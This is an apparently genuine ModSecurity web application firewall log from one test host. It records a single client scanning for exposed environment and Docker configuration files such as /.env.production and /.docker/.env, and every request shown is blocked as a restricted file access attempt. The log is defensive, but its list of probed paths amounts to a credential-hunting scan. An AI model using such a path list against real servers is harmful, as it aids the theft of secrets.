[Mon Jul 28 20:45:54.854734 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6gAAAAk&quot;]
[Mon Jul 28 20:45:54.854902 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6gAAAAk&quot;]
[Mon Jul 28 20:45:54.877543 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6wAAAAk&quot;]
[Mon Jul 28 20:45:54.877838 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6wAAAAk&quot;]
[Mon Jul 28 20:45:54.878010 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud6wAAAAk&quot;]
[Mon Jul 28 20:45:54.899971 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7AAAAAk&quot;]
[Mon Jul 28 20:45:54.900191 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7AAAAAk&quot;]
[Mon Jul 28 20:45:54.900379 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7AAAAAk&quot;]
[Mon Jul 28 20:45:54.922373 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7QAAAAk&quot;]
[Mon Jul 28 20:45:54.922600 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7QAAAAk&quot;]
[Mon Jul 28 20:45:54.922777 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7QAAAAk&quot;]
[Mon Jul 28 20:45:54.944816 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7gAAAAk&quot;]
[Mon Jul 28 20:45:54.945070 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7gAAAAk&quot;]
[Mon Jul 28 20:45:54.945241 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7gAAAAk&quot;]
[Mon Jul 28 20:45:54.967577 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7wAAAAk&quot;]
[Mon Jul 28 20:45:54.967806 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7wAAAAk&quot;]
[Mon Jul 28 20:45:54.967983 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aIfFYl4f-9g1kJksHwud7wAAAAk&quot;]
[Mon Jul 28 20:45:55.036744 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.environment&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud8gAAAAk&quot;]
[Mon Jul 28 20:45:55.037076 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud8gAAAAk&quot;]
[Mon Jul 28 20:45:55.037270 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud8gAAAAk&quot;]
[Mon Jul 28 20:45:55.059297 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud8wAAAAk&quot;]
[Mon Jul 28 20:45:55.059529 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud8wAAAAk&quot;]
[Mon Jul 28 20:45:55.059712 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud8wAAAAk&quot;]
[Mon Jul 28 20:45:55.081914 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud9AAAAAk&quot;]
[Mon Jul 28 20:45:55.082157 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud9AAAAAk&quot;]
[Mon Jul 28 20:45:55.082364 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud9AAAAAk&quot;]
[Mon Jul 28 20:45:55.174023 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-AAAAAk&quot;]
[Mon Jul 28 20:45:55.174258 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-AAAAAk&quot;]
[Mon Jul 28 20:45:55.174455 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-AAAAAk&quot;]
[Mon Jul 28 20:45:55.197007 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-QAAAAk&quot;]
[Mon Jul 28 20:45:55.197249 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-QAAAAk&quot;]
[Mon Jul 28 20:45:55.197447 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-QAAAAk&quot;]
[Mon Jul 28 20:45:55.219617 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aIfFY14f-9g1kJksHwud-gAAAAk&quot;]
